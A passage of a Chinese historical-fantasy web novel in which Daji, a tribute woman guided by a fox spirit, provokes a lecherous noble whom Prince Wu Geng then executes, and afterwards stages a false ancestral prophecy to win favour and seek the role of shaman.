此时,营中诸人正将所需之物运送包裹,以备明日拔营;青女姚亦匆匆进出,将不用之物先行包好,一并送去车上。
帐中无人,妲己闲闲无事,对着狐狸牢骚:“踵军气氛,实在沉郁。”
先前在大军,武庚虽对外行事严厉,颇具铁腕,实则还算和善好说话;再加上崇应彪性子极其活泛,故寨中打闹玩笑是常事;
而踵军诸人——中规中矩,不玩闹,说笑也低声。
狐狸也跟着分析:“也许是恶来性情影响,也许是他们畏惧大亚威严。”
毕竟,一位师长的预备役坐镇,怎能不叫人肃然?
妲己垂眸,手指在窗上轻轻敲打。
正百无聊赖时,营帐忽地被撩开,闪进一人来。
她回头看去,只见这人面目陌生,望之与周伯邑同岁。
他穿白衣红边的袍,外罩青铜皮甲,似乎不过普通兵卒。
但妲己何等刁钻,一眼看到他颈上配有玉璜,猜想此人身份不一般。
她倒也不惧怕,只怪道:“你是何人?何故闯我帐中?”
这人盯着她,双目迷离,呼吸粗重,小声道:“妲己,你怎不记得我?昨日我送你来踵军……”
见妲己犹疑,他反而更热烈:“你还冲我笑,向我道谢。”
妲己这才想起,昨日武庚命两名武士并若干侍从送她来踵军,此人是其一。
当时竟不曾留意。
妲己将他打量完毕,心中有了计较。
她自小见多了贴上来的浑人,圻一抬尾巴,她便知他不曾憋什么好屁。于是柔和一笑:“原来是你。你这般辛苦,昨日竟不曾归大军?”
“我昨日就宿在踵军中。”他又激动上前一步,“我,我唤作圻,子姓。”
妲己会意,果然是贵族。
好极——
她正愁如何接近恶来,却瞌睡偏遇枕,机会这就自己送来。
她故作不解问:“圻,你为何来寻我?”
商圻双眼充血,紧盯她芙蓉面、樱桃唇,激动得无法自己,“我,我有肺腑之言说与你。妲己,你怎如此嫽貌窈窕,我,我此生从未见过你这般人儿。我十分心悦你!我昨日彻夜难眠,脑中只有你!
我、我还知道,你定然也心悦我,不然你缘何冲我笑?我尚未婚配,仍是童子身,我、我愿将首次赠与你,可好?”
狐狸闻言,几乎喷出一口老血来:“破童子鸡有甚稀奇,满营皆是,你倒好意思当个宝?”
妲己好笑:“你又怎知满营皆是童子鸡?”
狐狸得意指点:“我当然知,王子、公子、公主、那些男女武士,全是,阴阳分明、元气在宫。”
妲己不解:“这怎可能?”
“怎不可能?未jiao配过的动物,总是更专注、更勇猛,心性也更单纯。若是雄性有了心上人,难免怕死后被绿;雌性有了后嗣,更只念着子女。他们该是战士,若有牵挂,如何杀敌?正因精力无处释放、情感无处寄托,才无畏无惧。唯有过了这个年龄,有了新的武士补上,才会许他们嫁娶。”
“原来如此。”妲己笑了,舔舔嘴唇,饥饿难耐,“你如此一说,我更觉美味无比。”
商圻见她只怔怔出神,并不说话,急切道:“妲己,你还在考虑?我对你是真心,我为你死也愿意。”
眼见他过于激动,血管青筋毕露,妲己掩口一笑,不动声色上前:“看你,何必着急?来,且先坐下……”
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>如此略略转圜,先将自己位置转向了帐口。
“妲己……”商圻见她对自己和颜悦色,已欢喜懵了,“你大约不知,我极为尊贵,便是禄见了我,也要叫一声堂兄,我父乃是天子表弟,我母乃梅伯侄女。”
妲己做作讶异:“原来如此,我竟也该唤你公子。”
商圻越发情难自控,“不,不必。你唤我圻便好。我心悦你,若无你,我也难活。妲己,叫我抱你可好,我对你一片真心!”
说完,已要倾身上前抱她。
“诶~”妲己一躲,吃吃笑道,“你那皮甲甚脏,弄脏我衣裳。”
“我、我这就脱!”说着,他岂止褪下皮甲,连戎服也飞速一并剥下,赤条精光地一个,满面赤红地去抓妲己的衣袖,“妲己,我、我都脱了……”
妲己好气又好笑,后撤一步,扯住袖子:“圻,你这是发什么癫?还不快将衣衫穿好,我可是贡女!”
“不,我不曾发颠!天子是我伯父,他不会在意,他会把你赐给我!求你,我真心悦你,妲己,我不能没有你。”
衣袖发出撕裂之声,妲己更大声怒斥:“圻,你再如此,我要喊人!”
她生气时面红,更胜过桃花,商圻越发癫狂,口不择言:“何必?!你既同禄睡过,同我睡又有何妨?我并不比他差!我比他大,待你更好!”说着,作势要扑上来,却已被妲己一猫腰跑出帐外。
“来人!来人!”
她边跑边喊,身后商圻光溜溜追赶,一脸痴迷,又胡乱大叫、丑态毕露:“妲己,你莫跑,我是真心,是真心!”
旁边武士见状,无有不大骇的,忙上前来拉扯,却又被商圻死命挣开!
妲己早趁机跑远,问狐狸:“可曾闻到恶来气息?”
狐狸抽抽鼻子,“前面营帐向右!”
妲己奔向右边,跑了不过十余米,正撞进一玄衣人怀里,她猛然抬头,只见眼前无比高壮一人,正是:
眉发墨深,如浸夜色;巍然身形,壮若熊罴。
皮肤白皙,虽玉难及;眼藏忧色,常蕴悲戚。
上古凶兽,今之虎兕,见知恶来,近而相避。
只看他的身形与那阴郁眉眼,妲己也猜到是恶来。
正如青女姚所言,恶来深目高鼻,唇似菱角,刀削斧凿,确实颇有异族之像。
此时他大手伸出,稳稳扶住妲己,尚来不及问清缘由,商圻已至。
商圻见到恶来,唬了一跳,堪堪站住,局促护住小鸡。
妲己含泪道:“壮士救我,圻似是发疯,竟欲辱我!”
恶来扶她站稳,这才抬眼看向商圻。他语气低沉,冷若寒风彻骨之意:“公子圻,你这是作甚?”
商圻越发瑟缩。
恶来之名,谁人不知,谁人不惧?
其威名甚广,可止大邑商小儿夜啼。
彪如崇应彪,尚懂得避其锋芒、做头乖猫;商圻并无崇应彪之猛,更无王子之威,当下吞咽唾液,低声道:“我、我与妲己相悦,我要娶她。”
“你胡说,谁与你相悦?”妲己斥他,又将衣袖与恶来看,委屈万分,“他还将我衣袖扯破。”
此时,追圻而来的武士中,亦有女武士,闻言大声抢道:“我可证明,我等将他拉开,他犹不罢休,实在叫人作呕!”
商圻大怒,回头厉声辩白:“你怎敢污我清白!妲己对我笑过,她心中有我!”
17. 立军威武庚斩亲族
女武士闻言,一脸恶心:“荒谬,冲你笑就是心里有你?真是脸比腚大!”
骂完又深恨自己嘴笨,骂得实在不够刺心。
恶来在大邑,也偶尔听说过圻的荒谬言行,此时眉目愈发阴沉,声音彻底没了温度,“公子圻,你当知晓,妲己是贡女。”
圻本就蠢笨,此时被人围观,早就耐心丧尽,理智尽失,口中胡乱喊着:
“知又如何?天子是我伯父,小儿禄我尚且不放在眼中,何况汝这贱奴……你还不滚开?”
闻言,恶来尚未反应,他身侧亲近士卒早已睚眦欲裂,急欲上前狠揍他,却被恶来抬手拦住。
圻见恶来拦着武士,以为他怕了自己的背景,洋洋得意挑衅:“恶来,你也忒拿自己当人看了。你算甚?你与你父,不过是我大邑的犬,天子赏你们骨头,就以为可入席上桌?呵……”
他又对妲己柔声说道,“妲己,你躲在他身边作甚?小心贱奴臭到你,来,随我回去可好?”
妲己越发后缩。
恶来眸中森寒锐利,声音却越发平缓无波:“圻,按大邑律法,觊觎掠夺天子贡品,军中侮辱官长,其罪当诛;我本可此时就斩杀你。”
商圻见他神色阴冷,吓得后退两步:“什么……你……谁敢动我!我母乃是族尹——”*1
正叫嚣着,忽地眼前一黑,似山岳倾倒而来,还来不及反应,面部已着一拳,骨骼碎裂之声清晰——
商圻身体横飞出去,跌落马粪之中。
恶来一拳可令牛马虎熊骨裂而死,若不是刻意收力,此时商圻已是死尸一具。
周遭武士见状,无不嫌弃,又不解恨,向地唾了一口。
“去将他绑了,送去王子处置。”恶来并不多看他一眼,恹恹下令,左右便冲上去将圻死死捆住,又用马粪捣住他的嘴。
转身时,恶来瞥见了妲己。
只见她盈盈俏立,花容仍然惊骇,狐眼含泪,遂向方才的女武士道:“嫕唐,送她归帐。”
原来这女武士家本在唐国,唐姓,因为名与「邑」同音,为免混淆,人们总连名唤她。
一时这唤名嫕唐的武士欢喜,应了一声“喏”,便走到妲己身边,拘谨笑着,“妲己,我送你!”
妲己这才看清这武士模样:
姿容端秀,英英乎雌雄莫辨,身材高大,昭昭乎二八年华。
目似杏圆,笑来眼波映天真,唇含雀舌,言时话语多真切。
正是性情和嫕,行止英豪,云净天爽少年气。
嫕唐实在端秀可爱,但妲己目标本不在她,只好佯装道:“我,我腿软……”如此说着,确保恶来能听到。
可谁知,恶来竟不作丝毫停留,似一朵巨大的乌云飘走。
反而嫕唐咧嘴一乐,露出一口闪亮白牙,“腿软?无妨,我抱你。”
说着,果然一把将她抱起,掂掂,更笑,“看你个子不矮,怎不吃饭?大风也能将你吹跑。不吃壮些,如何揍混人?”
又捏捏她的腿弯,“腿肉无二两,能跑过那憨鹧?”
妲己震惊掩口,忽地满怀希望问狐狸:“这嫕唐看着也十分勇猛,还很喜我,她可否为我延寿?”
狐狸见她吃瘪,早已笑倒,满地打滚:“哈哈哈哈哈哈哈,你在想屁吃!”
~
妲己走后,武庚已搬回了自己营帐。
虽是天色将昏,鲁番仍带人来回进出搬运,运送书册绢书尤其万分小心。
武庚坐在案旁,望着手中帛书,眉头蹙紧,颇觉棘手。
这帛书正是那日衡牙送来的密信。他当时看过,只觉心烦,先收了起来。如今过了一日,又觉得还是该回复才是……
可如何回复又毫无头绪。
本就心绪烦乱,思索一阵,偏又不自禁想到妲己……
妲己……
她才走一日,他已不知想了她多少次……
想到搭在臂弯的手,想到后脊湿发滴落的水……
想到她在自己面前,眸如勾,笑摄魂……
今日本就热,想到这些,意识里更热雾弥漫,手指不由去拉扯衣领……
再想到她临走时狐目含怨,心有怨气,不免又闭目叹气,手指揉着额角。
知晓她是贡女不可觊觎,也知晓她若在,自己就莫名与彪、邑二人纷争不断……
可心中又实在后悔牵挂,恨不能现在就去踵军看她。
他闭目暗暗掂量:
若是回大邑后与王父请求要她,能有几分胜算……
正心情无比沉郁,衡牙足下带风冲了进来,张口欲言时,见帐内人多眼杂,又止住。
武庚抬眸见了,暂将密信收起,招手,示意他近前来报。
衡牙忙上前附耳。
才听了几句,武庚面上已寒霜遍覆,待到听完,他接连按捺几次,仍怒得发抖,手背青筋乍起,几近咬牙暴喝:“去将圻那孽畜拿来!不必私下!就绑在帐前!”
不多时,商圻被拖在帐外,踵军故意不给他衣裳穿,故而此时他滚在雪泥里,一身脏污,冻得嘴唇发紫。
饶是如此,他舌头顶出口中马粪,犹在大骂恶来。
正骂着,眼前笼下阴影一片。
他堪堪抬头,只见武庚面容铁青,居高俯视,双目隐在浓黑阴影中,似无情石雕。
“弟!”商圻下巴骨碎,口中流血,忍痛含混哭告,“我被恶来欺辱!你要为我做主!”
武庚语调冷如寒冰,“圻,大亚说你欲辱贡女,可有此事。”
“绝无此事,绝无此事啊!是她,是妲己先冲我笑,是她诱我在先……弟,我绝无骗你,那妲己是见引诱你不成,便来引我,她就是想要嫁入贵族……弟,我血脉相连,临行前我父如何嘱咐你?你答应我母会将我妥帖照顾。难道你不为我做主,反要帮恶来那贱奴?帮妲己那女俘?”
一时,栅营众人全来围拢观视。
崇应彪最好凑热闹,跑在最前,偏好听到圻的荒谬之语,大声怒喝:
“圻,你嘴极臭,许是食过屎!恶来乃是大亚,你父母见他也要客气行礼,你在军中辱他,如同叛乱,他留情不杀你,你还乱吠?”
圻不理他,只对着武庚含混嚎哭:“禄,你我才是亲人,你怎由外人辱我、骂我?真是妲己引诱我无疑。她不知从何处知晓我是贵族,妄图诱我,我不曾骗你,我以先祖起誓!”
崇应彪气笑了,又大声道:“敢是你尿太黄,照不清楚自己模样?长得赛头尖脑獐子,我家老犬也懒怠引诱你,可莫叫先祖降雷劈你!”
众人本都还端肃,突闻此言,不免又忍笑艰难。
武庚却不笑。
岂止不笑,他面容冷凝,眉眼阴沉若火山肆虐的前兆。
押送圻来的踵军之人见闹得实在不像话,忙上前将原委说了,与衡牙所言不差,又将妲己破碎衣服奉上——
“大亚说,如何处置,凭王子定夺。”
武庚盯着那衣服,瞳仁胀疼,怒火已然烧灼肺腑。
商圻越发撕心裂肺疯叫:“谎言!你们竟帮贱奴与女俘构陷我!禄,好弟!你竟不信我?!你我可是亲族!”
“锃——”一声,帝江剑龙鸣而出,沉沉架在商圻肩头。
武庚声音似从牙缝中挤出,厌弃至极:
“圻,你欲辱贡女,已是死罪;再辱大亚,更是死罪。国有国法,军有军规,诸人见证,今日纵先祖在此,亦不容我恕你!”
“不,不!”圻见他似乎是认真,已活活吓尿了,“禄……你、你怎如此心狠……你要如何向我母交代?你我一脉,怎可自相残杀?”
此时,周伯邑匆匆赶来,忙挤出人群冲上来,紧紧握住武庚手腕:“王子,且慢,圻毕竟是你同袍,也是你堂兄……”
武庚转向他,双目发红,额头青筋直跳,已然怒极,声却冰冷轻忽,“你为他求情?”
武庚心知先前妲己之事虽貌似公允,但在武庚心中实是让步。如今再叫他让步,怕是极难。
饶是如此,他却不得不硬着头皮劝:
“圻是个浑人,我岂会为他求情!但他亦是王室亲眷,虽犯死罪,带回命天子处理岂不更好!”
说罢,他更压低声音,几乎与武庚耳语:“禄,贵族本就积怨已久,切莫再冲动……我是怕你回大邑后难做……”
“邑,我问你,”武庚盯着他,一字一顿,“今日若不斩他,你叫恶来如何看我?你叫军中人如何服我?”
“……”周伯邑哑口无言。
良久,他终归慢慢松开手来……
商圻难以置信:“禄!你竟真要杀我!?”
话音刚落,剑过血飚,圻一颗头颅已滚落在泥中,双目仍旧惊诧圆瞪,至死不信。
他颈上玉璜亦随之掉落在地。
众人皆惊。
暮色已降,为周遭拢上一层郁色……
商圻的血,有一滴溅在武庚眼角,灿然红色,宛如血痣。
此时,哪怕是崇应彪也瞪着眼,只呆呆望着,不敢多言。
武庚拇指将脸上血抹去,将剑递给鲁番擦拭,又道:“寻些花椒将尸首塞上,带回大邑。”*2
气氛陡然压抑,众人自上前清理不必说。
~
妲己回到帐中后,面上的惊惧早一扫而光。
她先将青女遣去打探商圻结果,又问狐狸:“恶来是否是五人之一。”
狐狸叹气:“是……”
“那可有得到时辰?”
“哧,一个时辰也无……”
倒是武庚过于思念她,又因商
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圻之事怒冲牛斗,整整贡献了十个时辰。
为此,狐狸心里也很愤慨惋惜。
毕竟,它在人间辗转千年,见过各种各样、各朝各代的人类,早已与人类审美趋于统一。
史官文客,自己貌凡,一生也不得见一个美人,所幻想妖妃引诱,匮乏得令人生怜。
再细说来,妖妃者,穿的定是轻薄衣衫,行为定是放浪不检。
日常见到臣子,少不得一眼便知忠奸,将忠臣抓来好好折磨。
日常见到君王,少不得要笑若银铃,叫几声“大王来抓我~”,
再做个运动健将,在红绡帐里跑上十遍。
无脑大王若将其抓住,必定要翻云覆雨,吃点葡萄,喝点美酒,忘记早朝,
如此成个昏君,容易容易。
如此折磨忠臣,可恼可恼。
恰如农人幻想皇帝,大约是一手一个馍馍,金锄头犁地;
皇帝幻想贫家疾苦,大约是无鸡鸭可吃,「何不食肉糜」?
唯狐狸与妲己朝夕相伴,将其魅力知道详细。
若说世间有暴力美学,那么妲己就是美学暴力——
不管男女取向如何,见到就会被其嫽貌重击。
心思浅薄之人看到,难免丑态百出、失魂癫狂,恨不能立时占有,譬如商圻;
若她再肯动动脑筋攻心,投其所好,更是令人掏肝剖心,譬如帝辛。
能拒绝她的人类,唯有狠人周伯邑。
如今,又多了恶来。
狐狸忿忿嘀咕,却见妲己并不生气,只沉默扒在窗边,目光巴巴投向帐外。
踵军拔营准备之事已完毕,恶来策马四下巡视,来来往往也叫妲己见了两次。
他目不斜视,目光并不曾在她的营帐稍作停留,那模样心无旁骛,绝非伪装。
远远望去,他肩上的黑色兽皮与半长捲髮色泽融合,更衬得高耸眉骨下的鸢色瞳仁浅淡,薄冰一片般冷然无情。
狐狸很为妲己捏一把汗。
费尽心机离开武庚来了踵军,若在恶来这里收不到时辰,那真是得不偿失。
它忍不住问:“你又在谋划何事?”
妲己手指敲着窗边:“等。”
“等谁?”
“等青女。”
正说着,青女姚已经忙忙归来了,口中还大声道:“姐姐,我、我探得了!”她匀了口气才说:“公子圻……被斩首了!”
说完,她眼见得妲己姐面上笑意逐渐扩大,之后简直可以称之为狂喜!
“太好了……”妲己眼中光芒四射,来回疾走,口中激动地喃喃重复着,“太好了……天助我也,天助我也……我就知来踵军是对的……”
青女姚不由怔住——姐,你这么恨吗?
狐狸知晓妲己故意引商圻脱衣,又故意引他追逐,好闹个大动静,但它认为这纯是为了找机会接近恶来,并不理解她喜从何来。
商圻死了,寿命又不加给她?
好半天,妲己终于恢复平静,见青女姚呆呆望着自己,掩口而笑:“吓到了你?是我太过欢喜,一时忘形。”
“无妨!”青女姚忙恶狠狠帮腔:“公子圻是个浑人,斩首都便宜了他!要我说就该先阉后卯,先燔后燎,先煎再炸,炸完再煎……”
“额……”妲己意外看着她。
青女姚脸一红,赶紧止住了自己的十八般酷刑,又满怀希望试探:“姐姐今日见过了大亚?感觉如何?”
此话不幸戳中了妲己肺管,她面上登时喜色全无,坐在一旁悻悻道:“哼,还好……”
青女姚:看来是很不好……
妲己思索一阵,蹙眉小声问:“你可还知晓恶来的其余事情?”
青女姚一脸诚恳,“我知道的,都说予姐姐了。”
妲己眼珠转转,换了个问法,“那你可知他家中还有何人?父母是何脾性?”
“哦哦,恶来的母病逝,还有个弟,唤作疾生。蜚蠊一直驻北不归,是恶来将弟拉扯大。”
奴隶之名,大多都承载了主人的「美好」愿望:一切凶恶疾病,由奴隶承受便好,绝对不要轮到主人头上。
狐狸闻言嗤笑:“难怪,我说他怎还有一股苦命的人夫感。”
妲己若有所思,又问:“他有何喜好?”
青女姚绞尽脑汁。
大邑商人人都知恶来喜好单一,无欲无求,平日就好操练兵卒,有的低阶贵族想要送礼都无从下手,但絮絮回忆到最后,总算叫她想起来一样:
“——公子邑偶然说过,恶来好听人读书给他听,也不拘是何类书……”
妲己出声打断她:“等等,为何是「读」书?”
青女姚眨眨眼:“他不识字。”
妲己双眸猛地雪亮起来!
18. 解疑惑九尾惊心魄
第二日一早,天还未亮,众人已开始忙碌,从尾部开始收帐拔寨。
妲己慵懒起身,第一件事便是要来笔帛,写下了一封信来。
帐外,恶来昨日拨了嫕唐在为她看守,此时她便笑将帛书递上,柔声叮嘱:“嫕唐,烦你将此送给大亚。不过,此乃密信,不可给外人看,你也不许看。”
嫕唐接过,爽朗笑道:“你放心,你叫我看也难,它认得我,我却不认得它。”
毕竟,读书识字,是贵族才有的待遇。嫕唐平民出身,只能认些“日”、“月”、“鱼”、“林”这类一眼就可猜到的字。
妲己回到帐中,眼见一应被褥用品已被青女姚包好,小姑娘却一脸愁容,不免笑问:“怎怏怏不乐?是因为要回大邑之故?”
青女姚惆怅摇头,“我有些担心,圻毕竟是贵族。他的父母若是明理之人,也不会将他养成畜生。我只怕那家人计较起来,迁怒在姐姐身上。”
妲己反笑而笃定道:“无妨,他们不会,也不敢。”
青女姚见她并非强装,心中有些不解,又不敢多问。
眼看东西已收好,帐也拆了一半,恶来收到信儿,踩着浅淡晨色而至。
青女姚见恶来入帐,早已识趣地躬身退了出去。
帐内闪闪火光照映,更显恶来眉骨凸起,高鼻尖挺,白皙皮肤上阴影深重,一派浓墨重彩的昳丽。
偏其周身萦绕萧索,伤秋悲雨般湿冷。
他自怀中掏出帛书,拈在白皙手指之间,淡淡道:“是何机密,可直说来。”
他说话时,低磁的声音亦天然有些倦意,字句似承千钧。
妲己故作诧异:“所有机密,皆已在帛书上。”
恶来眉心微拧,顿了顿方涩然开口:“许多字……我不识得……”
但她既然说是机密,又不好叫旁人为自己读。
说完,他侧过头,表情更冷,似已准备接受妲己嘲弄。
而妲己却上前,反而柔声道:“那我说给你。”
他诧异看向她。
晦暗营帐内,她双眸明亮,踮脚又落下,笑了,“你实在太高。可否躬身?”
恶来目光看向一旁,冷淡而疏离:“此处并无旁人。”
“但事关商之先祖,若是被听去……”她佯装犹疑。
略作迟疑,他终还是俯身下来。
她仰头,凑近。
柔和的气息拂在耳畔,带来不快的酥痒,又贴得太过亲密,让人心头异样。但她的言语带来的信息,却瞬时盖过了这点微末不适。
恶来听完直身,微微拧眉,似在思忖。
此事听来甚是奇特,却又果然不可不报。
良久,他将帛书扔进火盆里,看着它被火苗吞噬,说道:“启程前,我先带你去见王子。”
~
天光微亮,辎重营帐全部装车,营地周遭的天罗、武落、惊马、蒺藜俱已收拢*1。
踵军、翼军、大军先后拔营,汇合一处。
这时,飞楼之上,踵军旗手挥旗传讯,大军旗手接收来,由衡牙向武庚报告,“王子,大亚有事相告。”
武庚心中猛地一跳,还不知是何事,已直觉与妲己相关,遂道:“传。”
旗手舞动旗帜,示意恶来前来。
不多时,恶来驾车而来,先行下车,而后华盖又徐徐掀开,他抬手扶着妲己从车上下来。
昔日,妲己夜间被带回营,士卒中得见她容貌之人不多;后虽然被瞧见,亦不过是大军、踵军中寥寥几人。
故而军中虽疯传她倩嫽姿容极盛,却大部分不曾见过,想象不出。
现如今,她皓腕掀帘,自车上步下。
一身姜色长衫滚着靛蓝雷纹花边,是棕白灰中的亮色一抹。*2
长发半绾,绑束红绳,盛光灿然甚于羲和。若非亲眼所见,绝非想象可及,又如此千娇百媚,眉目多情。
全军均是一寂。
武庚目光几乎痴迷。
原来,将妲己送远并不能令他冷静,反而令他神魂相予,一见她就更加心头异动。
昨夜……他做有一梦……
极其美妙,与她相关,香而轻柔,馥而缱绻,娇腻骨髓,却又记不得细节……
此时,恶来陪同妲己上前,行礼道:“王子,妲己有事相告。”
武庚正色道:“何事?”
张口时,到底声音过柔,眼神亦难免迫切。
妲己表情已不似那日离去时那般冷淡,但亦不亲近,只扬声道:“王子,昨日章王托梦予我,说王子治军有方,不袒护亲族,章王甚是欣慰。特赠你白猿一只,命你带回。”
大军中,人人听得清晰。
她口中的章王,乃是商王小辛,武庚祖宗之一*3。
昔时她身为王后,常与帝辛祭祀先祖,对于商王朝那冗长诡异的帝后名单了如指掌。
而得了白化病的倒霉动物,直到明清仍是天家的心头宝物。
见武庚一脸诧异,妲己又解释:“我不知章王是谁,只是此梦清晰,章王又再三叮嘱,我不得不传达。”
武庚尚未说话,崇应彪已先从她美貌中清醒过来,斥道:“满口胡言!你区区贡女,章王不托梦予贞人和王子,凭甚托梦予你?!”
妲己琉璃眸子波光流转,望着崇应彪,只望得他双耳通红,才笑加加道:“章王在梦中说,我乃仙人转世,合该为商朝传达天命,若有不敬者,死后难入仙宫!”
她音色宛转,有玉应之声,落在诸人耳中,格外清凌。
彪子顿时俊脸一僵,浓黑的眉毛迟疑而皱。
商人敬鬼神,崇应彪再彪也不能免俗。
女有灵为鬼,男有灵为神。鬼神供奉充足,方修为仙,仙上有君,君上有圣,至圣则为天帝。后人死鬼、女神乱叫,实在是已经改了词意。
众人亦是第一次知道人还活着,便可为仙,有灵力。
妲己并不多争辩,说完就上了马车。
武庚的目光追逐着她的身影消失在华盖后,方才心中还欣然律动,此时又酸得几乎炸裂。
她竟一眼也不曾多看他……
众人一时无不将信将疑。
狐狸早在她识海中一个仰倒,大叫:“我说你要金戈做甚,原来是为这遭!”
——难为她如此理直气壮说得宏亮,实在叫狐羞耻无比!
妲己反而发笑:“这等瞎话,骗小儿极难,骗商人恰好!”
“我、我甚羡慕汝之自信……”
“并非是我自信,不过顺势而为罢了。”
“顺势而为?”
此时,刚好青铜车颠簸,妲己娇呼一声,撞进恶来怀中,被他一手稳稳扶在腰上。
她急急站住,含羞柔声道:“多谢……”
恶来睫毛微颤,手已松开。
脑海中,她诡秘一笑,对狐狸解释:“这,便是顺势而为。”
狐狸不免深感其皮厚,更正:“这,便是吃人豆腐。”
妲己叹息摇头,如遇朽木:
“也罢,我的臭宝毕竟只是狐狸,我只好为你慢慢分析。
你可知,世间万事,唯有在「势」下行动,「为」方不突兀,且事半功倍,好过步步算计,不令人多疑。
譬如方才这车辆颠簸,是「势」,而我顺势倒入恶来怀中,是「为」。他伸手扶我,却绝不会认为我有意引诱。
再说金戈之事:商人对鬼神崇拜是一「势」,治好武庚眼伤是二「势」;
而武庚虽斩杀圻,却不免忧虑亲族绝不会善罢甘休。此时先祖突然显灵,说要嘉奖于他,岂不是既免除武庚应对亲族之苦、又免除兵卒被
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迁怒之患、还可维护军法严明?如此,不论王子兵卒,谁人心中能不期待?
预言之事尚未发生,却已「想」去相信,这便是三「势」。
我初时本只欲二势一为,其实风险颇多;而如今三势一为。就算言辞荒谬,若众人已先入为主,一旦真切发生,又怎会不深信?”
狐狸震惊非常。
听来很似诈骗。
原来她昨日一看到商圻,就已在短短数息之间谋划好了如何将他利用!
——她不光要利用商圻接近恶来,还要利用他为武庚增添烦忧。商圻若被处死,原本荒谬的疯言疯语,会立即成为王子所期盼的仙人旨意。
也无怪妲己为商圻之死如此开心,是因为她所谋大「势」已成之故。
环环相扣间,她将诸人心思皆拿捏精准,将一群上古人类玩弄于鼓掌之中,而如此一来……
狐狸忽地顿悟了她的意图——治疗、预言、白猿,以及自古以来巫、医一体……
它失声道:“你、你莫非想做大邑商的鬼巫!?你想做神官?!”
再一想她早早学习医术,想必那时就已有此意……
妲己并不诧异它能猜到,欣然点头,娇媚倨傲的神情中混杂着凛冽冷意:
“不错,狐狸,仙人制定的规则令我厌倦。既然封神榜上无我名,我就自创一榜,独霸榜首;既然世界不令我位列仙班,我就自己封仙,接受万民朝拜。鬼巫,只是我的第一步,我要逐步成为商人的信仰,还要改变你口中那鬼扯的制度!”
鬼巫不必入宫,不会被圻的父母迁怒……
鬼巫代言仙君,甚至可令天子臣服……
狐狸愕然,不料她如此胆色齐天,再想到她总为祭祀一事耿耿于心,又说「改变」之语,心中一事更加清晰:“你……想改变的是活人祭祀……”
妲己这才意外侧目,抬手摸了摸它的毛绒脑袋,难得赞许:“你竟想至这一层?实在进益颇多。在我看来,此等祭祀,何等荒谬?祭的是哪里的仙?拜的是何方的神?若神仙如此残暴不仁,便该由我取而代之。我,要做整个大邑商唯一的鬼仙。自我之后,我族九尾狐的图腾,将永远是天地祥瑞。”
狐狸被她的野心与筹谋震撼,浑身发抖。
妲己行事,早已不是一箭双雕,而是一箭多雕!
无怪她先前所作所为,总令狐狸疑惑另有他用,原来她所图甚大,竟妄图独占商人的信仰?
世界岂能容她?
“狐狐,倒也不必如此激动,”妲己看出它心惊,忍不住笑,“我虽有此心,但究竟能否成事,犹未可知……”
狐狸腹中暗道:就算不成,你定然也还有别的法子;你这八世,是真没白活!
转眼马车回到踵军,恶来下车后换了嫕唐来御车,自己则利落上了战马。
狐狸趁机刺她:“你看,恶来同邑一样,并无丝毫留恋,一个时辰也无。而你只还有九日可活,就算做了鬼巫也无济于事。”
妲己毫不在乎,笑得越发妖气四溢:“狐狐,你且放心,恶来与邑绝不相同;需知,越是貌似坚不可摧之城,其守护之物越脆弱。”
此时大军开始蠕动,妲己抬手召唤站在车边的青女姚:“青女,来,上车与我一道。”
青女姚一怔,初时还不敢相信,只站着,以为听错。
直到妲己伸出柔荑来,笑道:“怎这般爱发呆?”
她这才知不是做梦,雀跃跑过去,紧紧抓住妲己的手,手脚并用爬上车来。
归程鼓声敲响,玄鸟大旗招扬,商军正式踏上归程。
正是:
素手拂霠列鸿碑,狐尾庞庞掀风雷。*4
虽有王权夺正史,我自一笔分朝晖。
究竟妲己能否将恶来吃下肚中,又能否如愿成为鬼巫,且看下回分解。
19. 解疑惑九尾惊心魄
青女姚做梦都想不到,自己也能与主人一起站在车上。
这是跟随公子邑时也无有的待遇!
固然,她还记得自己投生前坐过更舒适的车,但今生站车毕竟是首遭,仍止不住兴奋,频频透过华盖缝隙,望着外面。
今日晨起天就不好,又返了寒。
阴沉天欲雨,云有铅色,风如鬼哭。
积洼路融雪,粘湿混杂,泥泞裹步。
武士们大多骑着普通的马匹,或也驾车;除此之外,靠双足而行的,皆是下奴。
天气寒冷,奴隶大都无甚御寒衣物;手和脚腕露在外面,冻得赤红,一脸麻木地埋头行路。
若稍微慢些掉队,随军看管的司奴便会挥动细细的鞭子、抽打他们的踝骨。*
看着看着,青女姚放下华盖帘幕,喜悦之情荡然无存。
两相对比,否泰如天地,可她并无丝毫优越倨傲之心——
奴隶中其实也有别的部落贵族沦落至此。初时,这些贵族们无不绷着架子,似乎不屑于与奴隶为伍;但天长日久,阶级消弭,只余争斗——
或讨好看管奴隶的小藉臣*1、或欺辱更弱小的奴隶、或在主人面前邀功……他们费尽心机,所得之物无非残羹冷炙。
她犹记得自己被俘时,奴隶中有一人,健壮英俊,聪明果敢。他看出司奴嗜酒,看管稀松,遂在奴隶中游说,想要趁其醉酒逃走。
这事在青女姚看来,绝对有九成胜算,且那人心思缜密,也挑好了时辰。
可他没有算到有人告了密……
那一日东窗事发,死亡奴隶堆积如山、鲜血透土三尺,即便尸山移走,仍惹来蝇虫如黑云般趴在地面贪婪吮食。
策划逃走之人,被打碎浑身骨头,折磨半日,才叫他死去;而告密之人,正因为得到一条羊腿而欣然不已……
青女姚只要想到那情景,就浑身发抖。她更知道,若非她足够幸运,此时在寒风中跋涉之人也会有她,或者,早不知死在了哪个主子手里……
劫后余生,前途未卜,她又有何可得意的……
此时,妲己顺着她忧虑的目光,也望见了那群奴隶,唇边微微勾起。
狐狸一直隐隐介怀青女姚分走了妲己的宠爱与关注,见状没好气哼道:“恕我直言,青女背叛旧主是为不忠,无傍身之计是为无能。你为何喜欢她,只因她生得好?”
“唔,你不觉得她很有趣?”妲己一脸着迷,“行于泥间不生奸计,立于车上无有骄矜,如此固守本心,是罕见的圣人君子之态,万里无一。”
狐狸的白眼翻得几乎要收不回来,颇为不屑——圣人之态?你果然已瞎!
~
这一日行军匆匆,可一直到日落西山,商军在水边扎寨,白猿也并未出现。
饶是妲己强自维持镇定,表情也不免阴郁。
尤其中间崇应彪巡寨时,还特意溜来踵军一趟;妲己在帐内听到他故意大声笑说:“白猿呢?白猿在何处?你们若见到可要告知我,毕竟我连根猴毛也未寻着!哈哈哈……”
那幸灾乐祸的嘴脸,不必去看也可想象到。
妲己正在竹简上撰写文章,忍耐着,长长叹气一口。
不可急……此事一定有原因。
父母与妹妹对她极好,尤其母亲,答应了她的事,从来都会做到。
定是哪里出了纰漏……
许是春季来临,金戈在林间邂逅了迷人母猴?
